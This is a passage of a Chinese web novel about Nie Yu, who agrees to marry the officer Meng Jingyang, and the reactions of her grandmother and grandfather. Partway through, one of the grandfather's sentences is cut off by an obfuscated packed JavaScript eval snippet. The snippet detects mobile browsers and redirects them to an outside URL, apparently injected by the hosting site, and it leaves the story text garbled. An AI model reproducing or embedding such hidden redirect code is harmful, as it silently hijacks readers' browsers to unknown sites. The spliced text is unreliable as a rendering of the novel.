家要因为这一件事分崩离析?这是你奶奶愿意看见的?” 一顿,“我说了,这事肯定要给晓先一个教训,送她去部队肯定也是要先磨练她个一年半载才会再做其他打算,你不信我是不是?” “我不信。”聂宇说,“出尔反尔的事儿您也不是没做过,到时候您真要心疼孙女了,我又能怎么办呢?” “你——”蒋铸竟没想到,自己有一天能被一个毛丫头给拿捏住。 “这两件事能一样吗?我还没老糊涂到这种地步!”缓了又缓,蒋铸终于攒出一口气,丢出来这样一句。 聂宇没吭声,看着她的亲姥爷,眼泪缓缓流了出来。 “说到底,您还是不肯,是不是?” “已经够难堪了。”蒋铸难得头疼道,“真要闹出把人赶出家门的动静,我还要不要在院里做人?家庭不和到这种地步,你以为对你好吗?”抬眸看着聂宇,他叹口气说,“小宇,或许你奶奶没让你受过这种委屈。但我跟她不一样,做不到完全偏向你,这点我也不妨跟你说明白。” 终于逼出这句话了,她这样不依不饶,不就是想看看蒋铸被逼到一定程度会选择谁吗?现在看来,他没有选择她,也没有选择蒋晓先,而是选择了他自己,选择了他的面子。这样的人,让她如何敢放心依靠呢! 聂宇又哭又笑了两声,然而头也不回地离开了。 - 接下来几天,蒋家无人再提及此事,仿佛是打定主意等谢静芳出院之后再谈。而聂宇也安静了下来,因为她心里已经有了主意。 在谢静芳住院第四天的时候,孟京阳带着孟天音来探病了。聂宇亲自接待,寻了个差不多的时机,她让孟京阳跟她出去一下,去楼下收费处处理先前帮忙垫付的诊费事宜。 除了聂宇和孟京阳之外,无人知晓这是她找的一个借口。孟京阳抬眸瞅她一眼,在她略显心虚的注视下,跟她一同走了出去,去了住院部后面的小花园。 “老太太没再有别的问题吧?” 这几天住院的目的主要是进行一个大排查,看是否还有其他诱因。孟京阳心里清楚,才如此问道。 “没,就是血压有些高,以后出院要注意了。”聂宇轻声说。 “好。” 孟京阳应一声,却没问她究竟是何事导致了谢静芳的病发。聂宇心中充满感激,却又有些好奇。 “那天你不是带着天音天放他们去滑雪了吗?怎么又——” 这在聂宇心里始终是个迷,现下终于问了出来。 孟京阳没有立刻回答,而是停下了脚步,面对面直视着她。聂宇的心跳仿若突然漏了一拍,但她稳住了自己,没有躲避他的目光。 “那天心情忽然不太好,就打发小戚带着他们去了。” 孟京阳云轻风淡地回答道,聂宇听了脸颊微热,她心想:该不会是因为她吧? 有部分她的原因吧,更多是因为孟京阳忽然觉得心思杂乱,怕走山路开不好车,便把任务交给了警卫员小戚。 “聂宇——” 孟京阳轻唤她的名字,不等他说什么,就见聂宇忽地抬起了头,目光异常明亮地与他对视,整双眼睛闪烁着,仿佛是有话要说。他见状不禁噤声,耐心等候着。 “孟—京阳,那天在冰场旁你的提议,还算数吗?” 聂宇微颤着声开口,孟京阳与她对视,似是明白了什么,心跳也不受控制地快了几拍。 “当然。”他说,“不过我要的是婚姻,不是什么暧昧关系,这一点我要再跟你明确一下。” “我知道。”聂宇飞快地接话,缓一口气后,又说,“我可以,我答应。我现在需要你,你可以在别人都不理会,孤立甚至抛弃我的时候,站在我这一边吗?” 她这样问着,眼眶里忽然盈上一层水雾,泪珠迅速地由眼角处滑落。见孟京阳似有一瞬的怔然,她又赶紧解释:“我不是完全让你丢弃原则,我只是——想让你给我最大限度的偏心,连同最大限度的自由和保护,我都要,可以吗?除了你之外,我再也、再也不想哀求任何人。” 聂宇还是哭了,为自己不得不走到这一步感到伤心。但是,是孟京阳,这个人是孟京阳,这又让她感到安慰。 孟京阳想,他大概永远不会忘记,这个女孩儿答应嫁给自己的时候,是哭着的。而这样的泪水,是绝对称不上喜极而泣,它是苦涩的。 “聂宇。”孟京阳终于出声,见她整个人都有些颤抖,他连忙解释,“可以,当然可以。我没有立刻回答你,是因为——” 是因为他在那一瞬间受到了很大的触动,竟也品味到了几分来自她的涩然。 然而孟京阳忽然不想解释了,他轻轻拉过聂宇来,将她拥入了怀里。 “好了聂宇,不哭了。”他温声说,“你专心照顾你奶奶,剩下的事交给我,我们说定了。” 18.35-36 -35- 终身大事就这样定下了,之后过了许久聂宇都是恍惚的。 然而孟京阳却是出奇地清醒,他将孟天音送回学校之后,就驱车去了燕城军区司令部大院,要求见孟静东。 此时孟静东正在开会,秘书许文田请他在外面稍候片刻。孟京阳缓缓做了个吐纳,转身去了会客室。 这一等就等到傍晚时分,孟静东回到办公室,看见等到外间的孟京阳,略一歪头,示意他跟着进来。 “什么事儿这么着急?听老许说不拦着你都想闯我会议室。”捡了张沙发坐下后,孟静东问道。 “哪有那么夸张。”孟京阳笑一笑,跟着他落座后,说,“私事。” “上班时间你找我谈私事?”孟静东瞥他一眼。 “……那怎么着?我现在走?” 孟京阳说着要站起来,被孟静东摁住了。他假模假式看了眼表,说:“好在过了下班的点儿了,现在说吧。” 孟京阳对他哥时不时的捉弄略感无语,轻咳一声后,他说:“我准备结婚了。” “……”孟静东像是被谁施了定身咒一般,好一会儿才动一动眼珠,看向孟京阳,“你说什么?你要结婚了?跟谁?” 孟京阳动一动唇,刚准备回答,他哥却已经自说自话了下去:“是不是年前你嫂子给你介绍的那些?哪家的姑娘啊,发展的这么快的嘛,都能步入婚姻殿堂了?” 孟静东显然激动了起来,孟京阳略一扶额,说:都不是,是蒋家的,蒋老爷子的外孙女,聂宇。” “聂宇?” 孟静东还不能立刻将“孟京阳的结婚对象”与他所认识的那个聂宇划上等号,就这样反应了一会儿,他骤然瞪大眼,一把端开面前的茶杯,坐直身子问:“聂宇啊!” “……” 孟京阳没有说话,只用眼神定定地看着他哥,表示事情确实如此。孟静东却不能淡定了,惊异之下问出一句:“你什么时候跟人小姑娘搞到一起去了!” 可不就是“搞”么,因为根本没人会撮合他俩啊。 如果不是孟静东太操心他的个人问题,孟京阳还真不愿意亲自把这件事告诉他,就说他这反应吧,一般人谁能应付得来? “很奇怪么?”他失笑地反问,“男未婚女未嫁,接触一段时间之后觉得彼此都挺合适,就准备结婚。这不是一件很正常的事?” “问题是你们什么时候接触了?这事儿怎么从没听你提起过?”孟静东双手抱胸,皱眉思索着。 “这个就没法儿说的很详细了。”孟京阳喝一口茶表示,“总之,事情就是这么回事。告诉嫂子,以后不用再费心给我介绍对象了。” 孟静东犹觉突然,但听到这句话后,他忽然生出一种猜测,顿时用一种狐疑的眼神看着孟京阳道:“你不会是被我和老爷子逼急了,随便找个人来敷衍我们吧?要真是这样京阳,你把这主意打到聂宇身上可是玩儿太大了。” 孟京阳罕见地语塞片刻。 “对你的想象力我表示佩服,但请放心,没这回事。”他戴上军帽,起身道,“行了孟司令员,看出来您不善此道,就不跟您多说了。您也不用再费心琢磨,只祝福我就行。” 拿腔拿调地丢下这句话,孟京阳笑着敬了个礼,抬脚走人。 孟静东坐在那里张着嘴看着孟京阳离去的方向发傻片刻,直到许文田过来问他是什么事,他才收回视线,挠一挠头,在心里感慨道:“冷不丁地放个大卫星,这小子真行!” 一顿,“瞧把他嘚瑟的!” - 医院这边,聂宇也准备将这件事告诉奶奶谢静芳。她深知这不是一件小事,如果再瞒着,她老人家可能就不是“暂时性脑缺血”这么简单了。 在一个阳光和煦的只有她们祖孙俩的午后,聂宇向老人家坦白了。这个时机看上去不太合适,因为老太太毕竟刚刚病愈。只是聂宇能当面说的时间实在很有限,再加上现在她们人还在医院,有什么变故也能及时处理,所以她决定冒一回险。 老太太比她想的要淡定,她正在吃苹果,将口中那一块慢慢咀嚼咽了下去,才轻声反问道:“你刚说什么?你要结婚?” 与其说是没听清,不如说谢静芳是想再确认一遍,因为这事儿来得太过突然。 “对。”聂宇轻而和缓地说,“就是您病发那天,帮着我一起把您送来医院的那个孟京阳。前两天,他又带着天音来看望您。您还有印象吗?” 谢静芳自然有。虽然她和他交谈不多,但也对他的气质和存在感印象深刻,知道这绝不是个一般人。但彼时她只把他当做天音的长辈,绝没想到有朝一日会变成自己孙女的未婚夫! 谢静芳尽量让自己平静,她捏着苹果,问聂宇:“澄澄,告诉奶奶,你是怎么想的。” “首先要结婚,肯定出于是感情上的考量。”聂宇将自己准备的说辞一一摆了出来,“我和他当初是在照山的时候认识的,相处了一段时间后,彼此印象都很不错。而当时,我因为姥爷逼迫我相亲才答应我的请求,做出了一件糊涂事……” 聂宇将照山那一晚的事原原本本地讲了出来,谢静芳听完之后,险些眼前一黑。 “你、你是真蠢!”她鲜少这样骂聂宇,可见是真动了气,“你不想答应你姥爷回来就是了,为什么还要作践自己!难道聂家真的就供不起你了?我不是说过我还顶得住!” 谢静芳再也淡定不能,眼眶湿润了。聂宇可是她的心肝宝贝啊,得知她曾那样看低过自己,她怎么能不痛。 “我知道,奶奶。”聂宇赶紧握住她的手,让她的情绪别那么激动,“我知道您能为我撑起一片天,但作为孙女,即便是一片薄瓦,我也不想您替我顶了。我爱您的心正如您爱我,您能明白吗?” 祖孙俩凝视着彼此的泪眼,最终谢静芳心软了,没再指责她。但回归正题上上,她仍是不松口。 “无论如何,不可以再出卖自己,绝对不可以。”谢静芳说,“如果你是抱着这样的想法决定嫁给那个姓孟的,我不同意。” 谢静芳打心眼里敬佩孟京阳的人品,这样一个青春鲜活的年轻女孩儿送上门,他也能坐怀不乱,可见为人敞亮有底线。只是,他到底是个男人,若他也对聂宇有那么几分情谊,日积月累地就很有可能会动摇。然而婚姻啊,怎么可以如此赤裸裸! “奶奶。”聂宇低声说,“也不光是因为这个,我们之间……还是有感情的。无论他对我还是我对他,我还是……蛮喜欢他的。” 这是聂宇第一次承认对孟京阳的感情,并不仅是为了让奶奶觉得好受,而是她扪心自问,深知事实确实如此。翦除所有的枝枝蔓蔓,回到感情这件事上,她觉得她是喜欢孟京阳的,因为有那么几个瞬间的悸动,是为他而存在。甚至——聂宇隐隐觉得她的喜欢比她所以为的更多,只是有太多细节不曾被正视过,导致现在想来也大多模糊了…… “……” 谢静芳看着孙女,此刻心里也开始矛盾起来。 对于聂宇的婚事,虽说总觉得还远,但她并非没有设想过。在一开始,她觉得聂宇找个踏实善良有上进心的,能一辈子对她好的就行。可这个前提是聂宇留在旬城,留在她身边。 然而随着高考落榜后聂宇干出来的这一桩桩一件件的事,谢静芳就明白她的志向和野心并不在这样一个闭塞的小城里,而是在远方,在一个更大的世界。而在那之中,又有谁能护住她呢? 事实证明,蒋家已经不能指望。但孙女选的这个孟京阳,就一定靠得住? “澄澄,太突然了,我还是不能放心。”收回思绪,谢静芳终于开口说,“首先你现在还小,不必急于去考虑婚姻大事。其次是你还没经过多少世事,可能出于一时的困难处境会胡思乱想,但——” 谢静芳说不下去了。让她说什么好呢?鼓励孙女直面困难,不要想着依靠任何人的保护?可那要受多少罪呢,她又怎么舍得呢。 谢静芳知道,聂宇并不是把所有的指望都放在别人身上的人,她要的无非是最后的一条退路罢了,如此而已。然而结婚啊,那可是一辈子的事,又怎么能拿来做交易? 谢静芳只觉得心烦意乱。 聂宇看着奶奶为难不已,觉得自己有必要再说些什么宽慰她。 “奶奶,虽然我一直反对姥爷给我安排相亲,但有句话我觉得他说的未必没有道理。他说,有些人一旦错过就真的错过了。而孟京阳对我,就是这样的存在。” 她抬眸看向谢静芳,“奶奶,很有可能这一辈子,我都不会再遇见他这样的人。” 谢静芳看着聂宇的认真模样,心里很难不有所触动,只是—— “你把感情和婚姻看的太简单了。”她叹息似地说。 “但这两件事本身也没您想的那么复杂。”聂宇固执道,“有谁规定婚姻里感情的成分一定要比利益捆绑的多呢?又有谁能保证感情占主导的就一定比利益占主导的牢固呢?更何况,我觉得我和孟京阳的感情基础还可以。” 谢静芳觉得自己简直拿聂宇没办法。就这样凝视孙女片刻,她终于丢出一句来,让聂宇红了脸—— “你不是到燕城来复习备考来的吗?又怎么和他培养起感情来了?!” -36- 谢静芳最终没有答应,但也彻底没有回绝。 依照她以前的脾气,知道孙女有这样的想法,一定会立刻带她回旬城。但现在她不会这样冲动了,她不得不考虑自己的年纪,自问还能陪聂宇多久,同时也会分析聂宇当下和以后在燕城的处境,进而期盼着能有个人来做她的坚实后盾。 只是,她终究还是不能对聂宇的选择放心,也觉得她做这个决定的时机并不好——高考眼瞅着就在几个月后了! 谢静芳先对聂宇提出一个要求,无论她最终答应与否,在高考结束之前,都不准他们想这个事。聂宇自然是答应了,顺带着还帮孟京阳说起了好话。 “决定是现在做的,但所有的仪式之类的,肯定都是在我高考后。在此之前他不会影响我的学习,这是他亲口说的。至于之后,他也会给我最大限度的自由。” 婚姻是两个人的事,一个人如果能得到另一半最大限度的体谅和包容,那该是多么难得。但谢静芳可没有轻易动容,活到她这把年纪,已经不会轻信这些糖衣炮弹了。 “澄澄,奶奶绝没有想到,这次来燕城还要考虑你结婚的事……” 摸着聂宇的脸,谢静芳在心里感慨道。但她最终向着聂宇想要的方向迈进了一步:她要求见孟京阳一面,至少跟他谈一谈。 - 聂宇在征求了孟京阳的态度之后,答应了下来。但她没有立刻安排,而是将时间定在了谢静芳离开燕城前。因为在这之前,她们还要抽出功夫来处理蒋家这边的烂摊子。 果不其然,在谢静芳出院之后,蒋家才重新提及两家和解的事。至于条件,自然还是当初所说的让蒋晓先向谢静芳赔礼道歉,然后提前进入部队这个大熔炉,去学习改造重新做人。不过这一次蒋铸给出了明确的时间,就在今年六月底前。 谢静芳听完之后许久没做声,在所有人的注视下,她望着蒋铸笑了笑:“本来也不是多大的事,但孩子们未来的路还长,要学的东西还很多,你们锻炼锻炼她也是好的。我只有一个要求,以后不要再对外提及那件事一个字,也不要逼迫小宇做违背她本心的事!” 蒋铸就猜到谢静芳更在意的是他的“逼婚”,不由叹了口气,说:“小宇奶奶,你和小宇尽可以埋怨我,但对这件事我仍能说句问心无愧。我蒋铸绝不是拿小辈的婚姻为自己做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465296|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋算的人,我的一切出发点,都是为了她们好!” 谢静芳稍稍宽了心,但并未松口。蒋铸见状不免有些失意,但和解当前,他也不好计较这么多了,大家只能相互一笑泯恩仇。 事后,关于蒋家人最担心的来自聂宇的反对声音并没有出现。蒋云鹏和蒋晓先父女在庆幸之余,并不晓得聂宇在酝酿另外一件大事,他们只知道她最近在忙着谢静芳的离开。 病愈之后,又经过了那样的不愉快,谢静芳自然不愿意在燕城多待了。聂宇就张罗着帮她准备回旬城的行李,顺便兑现自己的承诺,安排她跟孟京阳见一面。 这事是他们私下进行的,聂宇还没告诉姥爷蒋铸她要跟孟京阳结婚的事,谢静芳也没提。毕竟,事情还没完全敲定下来,不必惊动他这个“大人物”。 - 时间就定在他们离开燕城的当天。火车是傍晚出发,从外地出差刚回来的孟京阳就腾出上午的时间,到院里的招待所里见了谢静芳一面。 聂宇原本也是想在场的,但谢静芳早就申明了要跟孟京阳“单独”谈,于是她就只好回避。但她没回蒋家,而是去了图书馆,坐在那里心神不属地翻着一本书。 在招待所祖孙俩居住的房间里,孟京阳面对谢静芳,平静又慎重,以至于仿佛都有一丝拘谨了。他很明白这位老人家在聂宇心中的份量,当然不可能不重视。 而谢静芳呢,在看到孟京阳的第一眼,就意识到这个男人的“干净”。这不仅仅指表面的洁净,这点只要有心谁都能做到。更重要的是他骨子里的,他言行举止间显露而出的澄明气质,这是需要日复一日的自律和洁身自好才能养出来的,非常难得。 但谢静芳还是没有轻易下结论,相反,她立刻就开始对他抱怨:“你们为什么非要在这种时候搞出来这样的事!” 孟京阳听到老人家的话,心里已经飞快地琢磨出这件事的核心,也就是谢静芳在意的两个点:一是时机,二是人选。稍作思忖之后,他开口回答:“抱歉谢奶奶,原本想的是如果双方家里都没有意见,在聂宇高考之后我们就去领证和举办仪式。但如果您还有疑虑,我们可以延后一年半载,正好也让您利用这段时间观察和看清我这个人。” 一句话,解决了两个问题,让谢静芳不得不佩服。 “你愿意给时间自然是好的,可时间长了变数也多,万一到时候发现有什么不合适,那……” 谢静芳故意停在这里,想看看孟京阳的态度。而孟京阳则是微一蹙眉,很快又恢复淡定,说:“我认为不会有这样的情况发生。但一定要做这样一个假设的话,那我只能说:强扭的瓜不甜,我不会勉强她。” “这样说来,澄澄也不是你‘非她不可’的一个选择。” 谢静芳用肯定的语气说道,同时轻轻摇了摇头,仿佛是在说如果是这样的话就没什么可谈的。孟京阳垂眸想了想,再抬起头时,目光真诚中带着一丝怅惘:“‘非她不可’是我自己的事,跟聂宇的是走是留,关系似乎并不大。” 谢静芳一怔。这显然是她意料之外的回答,以至于她一时不知道该如何接话了。 “罢了。”老太太忽然叹了口气,说,“我也不故意向你发难了,跟你这样聪明的人过招,用这样的手段显得很没意思。只是我还是有些想不通,像你这样的人选择应该会很多,为什么非得是澄澄?” 老太太看上去真的很费解,孟京阳却极轻一笑,从容回答:“如果我真的是您所说的聪明人,似乎更没有不选聂宇的理由。澄澄?是您给聂宇起的小名?很适合她。” 这话讲的,让谢静芳听了之后心里很舒坦,但面上依旧绷着。 “你这是、你这是在跟我绕圈子。”她假装有些不高兴,又有些无奈,“说你聪明,你就马上向我露了几分。” “不是绕圈子,谢奶奶。”孟京阳说,“很多事并非一定要有个答案,尤其是感情。若是我想讨您欢心,大可以编出来许多冠冕堂皇的理由,但我想,这不是我们今天坐在这里的目的。” 谢静芳再一次领略到了这个年轻人的为人,她自认眼光毒辣,甚少看错人。只是一个人好,并不代表他就适合走入家庭,当一个好丈夫。 “你喜欢澄澄,是不是?”她低声问。 感情的事最不讲道理,想的太过通透未必真的是好事。可喜欢不喜欢,这个问题应该很好给出一个答案。 “是。”孟京阳声音温和却不乏笃定地回答,“我喜欢她,所以希望她像一朵花儿一样,能够按照自己的意愿,自由、肆意地生长。我会偶尔修剪她的枝丫,但那不会影响她灿烂地绽放。我有这个自信。” 谢静芳一时失语,因为孟京阳所说的这个愿景,真是太美好了。如果真的是糖衣炮弹,威力堪称核级别。 “哎。”谢静芳最终叹了口气,“你们、你们先处一处吧,就当是谈谈恋爱也好。这是我目前唯一能做的让步,你岁数也不小了,能接受吗?” 年纪,这也是谢静芳非常在乎的一个点! “……能。”孟京阳点点头,说。 - 这次谈话的最终结果,并未完全达到孟京阳的预期。但能得到谢静芳的初步认可,对他来说也算是个不错的开始。他离开招待所前打算再找个时间跟聂宇谈一谈,像今天这种情况大概是没什么时间了,但他没想到,就在今日傍晚,在他估摸着聂宇已经送完奶奶回来的时候,大院门岗那边突然打来电话说是有人找,女性,姓聂。 孟京阳得到消息就下了楼,在快走到军区大门口的时候,看见一个削瘦的身影立在寒风之中,哪怕是裹了件蓬蓬的羽绒服,依旧不见臃肿。 只见她低着头,一边来回走着一边踢着滚落到脚边的石子,显然是在想着什么。孟京阳的眉头微微轻展,迈步向她走了过去。 19.37-38 -37- 聂宇是从火车站直接过来的。 因为多了几重心事,这次离别时伤感情绪并没有那么浓。奶奶谢静芳避开聂杰英,悄声问聂宇了一件事—— “殷凡的事,你打不打算告诉孟京阳?” 在孟京阳走后不久,聂宇就知道了他们谈话的结果:奶奶只松口答应他们可以先相处看看,结婚的事另谈。当时聂宇就觉得自己有必要见孟京阳一面,现在再加上这件事,在送奶奶和堂哥离开之后,她就直接让司机送她来了这边。 当然,聂宇还是留了个心眼,没有直接让司机送她到军区大院的门口,而是停在了距离这边两站地的地方,自己步行走了过来。如今看到孟京阳出来,下意识地她又低头避开了他的视线。 “怎么直接来这里了?有急事?”孟京阳走过来,开口问道。 聂宇点了点头,又摇头:“只是有件事想跟你说,你现在有空吗?” “好。” 孟京阳说着,抬步就走,余光却注意到聂宇仍停留在原地。 “你想在这儿说?天这么冷。”他失笑地看她。 聂宇不由缩了缩身子,小跑上前跟上了他。 孟京阳没带她回办公室,而是去了附近的一家饭馆。看起来他跟老板挺熟,直接要了个包间并一壶茶,还有些水果点心。 “先吃点这些,等你把想说的事说完,我们再点菜吃饭。”孟京阳说。 “你打算请我吃饭么?”聂宇问。 “不请你我自己也要吃,就让你再蹭一顿了。” 孟京阳倒了杯茶给她,掀眸看她,略带调侃。 聂宇的表情有些沉重,她端着杯子暖了会儿手,才拿过一个小蜜橘剥开来吃。神情动作都颇为认真,看得人觉得有趣。 “送走你奶奶了?”他问。 聂宇“嗯”一声,点点头,看神情是有一些怅然,但整体情绪还好。 “我听我奶奶说了,她答应让我们处处看,结婚的事先不要提——”聂宇话头一顿,抬起头,“她说你接受了,但这不是我的意思,事先我并不知情,这点我要跟你说清楚。” 原来,她是怕他误会她提前跟自己奶奶串通一气。 孟京阳忍不住一笑,说:“放心,我没有怀疑你。” “那你怎么就答应了,你真的不怕我利用你,等高考结束了就——” 聂宇点到为止,孟京阳听完之后又笑了。 “聂宇,当初我们敲定这件事的时候,理由也并不是因为你要相亲,不是吗?” 她想要最大限度的自由和保护,而能一气给她这些的人,并不多。所以孟京阳并不担心她会出尔反尔,最起码目前是这样。 聂宇不由松了口气,她还真的怕他会误会。只是转念一想,他这么沉得住气的原因不正是因为他拿捏得她死死的么,于是又多少有些不服气。他这是吃准了她了呗! “你想说的事就是这个?” 见聂宇又低头不语,猜准了她几分心思的孟京阳不着痕迹地岔开话题道。 “不是。”聂宇摇摇头,将一个剥的干干净净的蜜桔放到了孟京阳面前的盘子里,又说,“是另外一件事。” “看来不是什么好事。”孟京阳将蜜桔掰开送入口中,“都需要贿赂我了。” “……”聂宇瞪眼,想把小蜜桔拿回来已经来不及了。 “说吧。”他笑一笑,示意她道。 聂宇喝一口水,将殷凡的事娓娓道来。当然,她的主要落点是在谢静芳病发的原因上,借此不得已提出这件事。 孟京阳听完之后,有几秒没说话。聂宇见状,立刻又解释:“我跟殷凡现在是没有一点关系了,之所以告诉你这件事,也是为了防着以后有人拿这件事生事。我们彼此双方家里都有老人,我不希望再发生我奶奶那样的事。” 说到这里,聂宇又感到一丝心悸,她赶紧喝水压了一压,假装平静地看着孟京阳。 孟京阳也在看她。趁服务员过来添水的功夫,他让人又端来一盘儿金灿灿的蜜桔,全部放到了聂宇面前。聂宇看到了,有些莫名。 “你不是喜欢吃?”在服务员走后,孟京阳说。 聂宇没有碰,因为不知道他这一出是何用意。孟京阳见状,便自己拿过来一枚开始剥。 “每个人都有过去。细究起来,我比你大了好几岁,肯定经历过很多你不曾了解甚至无从想象的事,如果每一件都被拿出来审判,那我找的就不是老婆,而是法官。聂宇,你也一样。”他将一个蜜桔投桃报李一般放到聂宇面前,“以前的所有我都不会在意,只要从现在开始,我们对彼此问心无愧。你愿意吗?” “我、我当然愿意。但是孟京阳——”聂宇叫出他的名字,“你到底比我大几岁?” “……”孟京阳沉默片刻,说,“我来点菜,我们先吃饭吧。” - 吃完饭,两人并肩出了饭馆,步行回军区大院去取车。 此刻已经没了心事,聂宇的表情轻松了许多,精神头又昂扬了起来。孟京阳瞥她一眼,把手伸了过去。 聂宇一愣:“?”她没明白他的意思。 “难不成你是打算领证那一天再牵我的手?”孟京阳一挑眉,“按照你奶奶的意思,现在我们至少已经算在相处的情侣了,你说是不是?” 聂宇觉得他的话有道理,但跟男人牵手这种事,她还真是没做过。连表弟林天天的手她都不曾牵过! “我觉得,是不是有些早了?”聂宇还是想挣扎一下。 孟京阳不打算给她这个机会,他直接拎过她的手牵住,说:“前面你还担心我怕你反悔,正好,现在你展示下自己的诚意吧。” 聂宇忍不住有些想笑,但她忍住了。她反握住了他的手,尽量表现地像那么回事。 孟京阳一会儿就觉察出不对来,他停下来瞧她一眼,说:“怎么感觉有些别扭,你在跟我齐步走?” “对呀。”聂宇说,“我还怕自己顺拐呢。” 孟京阳这才知道她是故意的,便有意不说话,只盯着她看。聂宇没多久就被看毛了,转过脸,拉着他往前走。孟京阳又有意不动步子,直到聂宇微微有些着恼了,他才肯轻轻挪动尊步,跟在她后面往前走。不一会儿,俩人就又走到一块儿了。 “你姥爷那边,你打算什么时候说?”孟京阳捏了下她的手,问。 “都可以,你有什么想法吗?”聂宇知道他肯定不是无故起这个话头。 “我想,实在不行就托人介绍我们相亲好了。这是你姥爷最喜欢的剧目,我们正好暗度陈仓,借着这个机会把这段关系过个明路。” 聂宇以为他在开玩笑,然而看看他,却发现他好像是认真的。 “这不光是我姥爷最喜欢的,还是我一开始在照山的时候给你写的剧本!” 聂宇都要怀疑他是不是在借机嘲讽她了,没想到孟京阳一笑,说:“看来还是你最有远见。” “……你真这样想吗?”聂宇不禁又问他,“真觉得这样合适?” “不是合适,而是省事。”孟京阳说,“难道你想把我们之间的故事,跟每个人都讲一遍?” 不如假装从头开始,也省得再被问一遍“你们是怎么搞到一起去的”这类问题。 聂宇顿时觉得他说的有道理。与其想着怎么在姥爷那里编和圆他们的故事,不如当做没有故事,从头再接触一遍。反正照山那一晚的事,她是打死不会在姥爷面前提的。 “好。”聂宇说,“确实省事。”也正好可以“以牙还牙,以眼还眼”,这听起来可有趣多了。 “那……可以由你这边来提吗?”聂宇停下脚步,看他,“我找不到很合适的人选。” “当然。”孟京阳回答她,“我说了,这件事交给我。” 聂宇微笑。 - 定下这计之后,聂宇就回去耐心等着了。而孟京阳则抽空回了趟干休所孟家,把这事儿拜托给了孟老爷子孟锐挺。 因为孟京阳有所托付,孟静东至今没在老爷子面前提他要结婚这事儿,孟京阳请老爷子托人说媒的时候他就在当场,差点儿没被喝进去的茶呛死—— 敢情这事儿还没眉目呢,那那天这小子那么信誓旦旦言之凿凿的,把他一堂堂司令员搞得跟个二傻子似的。 孟京阳此刻看他哥的眼神就像看二傻子,好在这个二傻子还算守信,不至于让他在老爷子面前多费口舌。 孟锐挺对这事儿很意外也很高兴,他当然也知道聂宇,虽说这俩孩子之间差着辈分又差着岁数,一般人想不起来要撮合。但难得见孟京阳在这事儿上有这么积极主动的时候,心里猜到这俩人私下里或许有什么来往,便打定主意要帮他这一把了。 “那我就托老林的家属吧。”孟锐挺想了想,说,“老林跟聂宇姥爷是在东北时期的老战友了,关系非同一般,说话很管用。” 其实这事儿孟锐挺亲自出马也不是不行,但托个中间人更显郑重一些。 “好,那这事儿就麻烦您了。”孟京阳笑一笑。 又陪老爷子聊了会儿,孟京阳适时告辞,准备回单位。孟静东借口军区里还有事,追出来硬上了孟京阳的车,要跟他一起回司令部大院。 “你小子这是唱的哪一出?” 因为孟京阳的交代,除了自己的老婆之外,孟静东没跟任何人透露过他要结婚这事儿。甚至他还嘱咐老婆先别往外说,等京阳自己拿主意。原本以为他是慎重,没想到是打这主意。 “不是都准备结婚了,怎么还要人说媒?”孟静东不解地问。 “是要结婚,但这事儿得先让蒋老爷子知道知道。”孟京阳笑了下,轻打方向盘,答道。 孟静东越发看不透。别人都是先说媒再结婚,到了他这儿偏要反着来,处处都显古怪。但有一点孟静东是看清楚了,这俩人之间怕是有不为外人知的猫腻。 想到这儿,孟静东不由得笑了,这下轮到孟京阳纳闷了。 “你笑什么?”他问。 “没笑什么。”孟静东优哉游哉地坐在后排,“我这是祝福你呢,祝你相亲顺利。” 孟京阳:“借您吉言了。” 此时此刻,孟京阳确实踌躇满志,只等家里老爷子的好消息。两天以后,消息传是传来了,但内容有些出乎他的意料:蒋老爷子不同意! -38- 聂宇是过了两天才得知孟家提议相亲被拒的事。 因为无意促成,蒋铸自然就没把这件事告诉他,还叮嘱蒋云鹏守口如瓶。但奈何家里有个蒋晓先,她从父亲和小妈的谈话中偷听到了这件事,一边纳闷孟家看上聂宇什么,一边又酸溜溜地羡慕总是有人来给聂宇介绍对象,且还都是不错的人家。 聂宇听说这件事后,第一反应是去找孟京阳问个清楚,却被告知他去外地出差了。聂宇只好给他留了个消息,然后就去找了姥爷蒋铸。 蒋铸这两天正在想这件事,因为他没想到老林的家属居然会为孟家那个老三来说亲。孟京阳这人,当朋友和小辈都可以,但当爱人,还是敬谢不敏。而且他年纪也不小了,眼瞧着快三十,配聂宇也不合适。 “我们家姑娘才刚二十出头。”这是蒋铸的原话,说的老林家属也不禁臊眉耷眼。 “年龄是差了几岁,但是老大哥,人家的家世、能力和长相在那儿摆着,哪一样不足以弥补这年龄的缺陷。再说了,也就差了不到十岁而已,要是搁以前这哪够看。就说当年组织给那群老大难介绍对象的时候,哪个不是可着年轻的挑,那个时候怎么不说年龄差距大了?” 老林家属也是组织给老林解决的对象,对此可以说是深有感触。 “此一时彼一时。现在哪个姑娘还嫁老头?”蒋铸不以为意道。 “哎哟我的天,三十不到的年纪叫人家老头,老大哥您讲讲理吧。” 老林家属也有些着恼了,觉得蒋铸简直没法沟通。然而蒋铸就是吃准了这一点,无论如何也不松口,仿佛打定了主意要拒绝。只是他没想到,这一回站在他对立面的,多了一位那个说什么也不相亲的外孙女本人。 - 聂宇去书房见姥爷的时候,他刚睡午觉起,正在那里看一本旧书。 自上次在医院的争执过后,聂宇还没跟姥爷单独说过话,所以刚一进去,竟不知该如何开场。还是老爷子透过老花镜看她一眼,问她什么事,口吻淡的像是什么事都没发生过一样。 既然如此,聂宇也选择当没事人,她在蒋铸一侧坐定,问最近是不是有人来给她介绍对象。 蒋铸翻书的动作一顿,两秒后又轻轻将那一页揭了过去,口中也轻描淡写道:“有是有,但我都给你回绝了。你放心,你奶奶临走前的提醒我时刻铭记在心,你不愿意做的事,我不勉强。” “……我愿意,这一次。”没想到轮到自己出尔反尔了,聂宇不怎么有底气。 “……你说什么?”蒋铸抬眸,仿佛没听清似的。 “我说我愿意。”聂宇重又说了遍,语调也加重了几分,“介绍的是天音的小叔,对吗?” 蒋铸像是发现了什么有趣的事儿,他将手中的书 